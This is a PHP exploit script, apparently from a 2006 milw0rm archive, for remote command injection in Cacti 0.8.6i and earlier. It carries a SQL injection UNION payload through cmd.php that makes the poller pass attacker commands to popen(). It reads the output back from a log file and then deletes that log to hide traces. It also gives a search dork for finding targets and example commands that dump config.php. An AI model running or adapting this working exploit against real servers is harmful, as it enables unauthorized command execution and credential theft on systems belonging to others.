Cacti 0.8.6i - 'cmd.php?popen()' Remote Injection

<?php
print_r('
--------------------------------------------------------------------------------
Cacti <= 0.8.6i "cmd.php" popen() injection
by rgod
dork: intitle:"login to cacti"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
--------------------------------------------------------------------------------
');

if ($argc<4) {
    print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Cacti
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /cacti/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat ./include/config.php -p81
--------------------------------------------------------------------------------
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p")
and ($temp<>"-P")
) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function my_encode($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}
/*
software site: http://cacti.net/

the cmd.php is not properly protected:

...
if (!isset($_SERVER["argv"][0])) {
	die("<br><strong>This script is only meant to run at the command line.</strong>");
}
...

if register_argc_argv = on, you can have web access, poc:

http://[target]/[path]/cmd.php?1

now you can inject sql commands, ex. in this query:

...
			$polling_items = db_fetch_assoc("SELECT * from poller_item " .
					"WHERE (host_id >= " .
					$_SERVER["argv"][1] .
					" and host_id <= " .
					$_SERVER["argv"][2] . ") ORDER by host_id");
...

and you can poison the $polling_items array that becomes like this:

Array
(
    [0] => Array
        (
            [local_data_id] => 2
            [poller_id] => 0
            [host_id] => 1
            [action] => 1
            [hostname] => 127.0.0.1
            [snmp_community] =>
            [snmp_version] => 1
            [snmp_username] =>
            [snmp_password] =>
            [snmp_port] => 161
            [snmp_timeout] => 500
            [rrd_name] => proc
            [rrd_path] =>
            [rrd_num] => 1
            [rrd_step] => 300
            [rrd_next_step] => 0
            [arg1] =>  [your command]
            [arg2] =>
            [arg3] =>
        )

)

$polling_items[arg1] is passed to a popen() call in /include/poller.php,
see exec_poll() function...

you do not have any output but you can redirect it to some file in /rra
or /log folder which is 'cactiuser''

*/

$command=my_encode($cmd." > ./rra/suntzu.log");
$h=my_encode("127.0.0.1");
$pr=my_encode("proc");
$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";
$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(2);

$packet ="GET ".$p."rra/suntzu.log HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
echo $html;

$command=my_encode("rm ./rra/suntzu.log");
$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";
$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

?>

# milw0rm.com [2006-12-27]